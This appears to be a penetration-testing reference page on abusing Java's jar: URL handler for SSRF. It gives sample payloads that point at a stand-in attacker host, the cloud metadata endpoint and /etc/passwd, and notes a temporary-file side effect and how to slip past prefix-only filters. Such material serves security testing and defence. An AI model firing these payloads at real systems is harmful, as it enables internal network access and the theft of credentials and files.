jar: is a Java URL handler that addresses an entry inside an archive. Its form nests another URL, the location of the archive, before a !/ separator and the entry path:
jar:http://attacker.example/evil.jar!/
jar:http://169.254.169.254/latest/meta-data/!/
jar:file:///etc/passwd!/
To resolve the entry, the handler first fetches the nested URL, so a Java client that honors jar: performs an outbound request to whatever host the inner URL names. That makes it an SSRF vector in its own right, reaching internal http:// targets and the metadata endpoint through the inner URL even when the application's own scheme checks only looked at the outer jar: prefix.
The temporary-file side effect#
Resolving a remote jar: URL downloads the nested archive to a temporary file on disk before reading the requested entry. That write happens as a side effect of the fetch, so a jar:http://... URL both issues the SSRF request and drops attacker-controlled bytes into a temp location, which can matter where another component later processes files from that directory.
When to reach for it#
jar: is specific to JVM HTTP clients and URL handling. It is worth trying when the stack is Java and a direct HTTP or File scheme is filtered but jar: is not, since the nested URL smuggles the same targets past a prefix check. Confirm the handler by pointing the inner URL at an attacker-controlled listener and watching for the fetch.
Tools#
- Java URL client: a short program using
new URL("jar:...").openConnection()exercises the handler directly, since curl does not support thejar:scheme. - interactsh: open-source out-of-band interaction server to confirm the nested fetch on blind cases.
- Burp Repeater: submit the
jar:value through the vulnerable application and observe the nested fetch.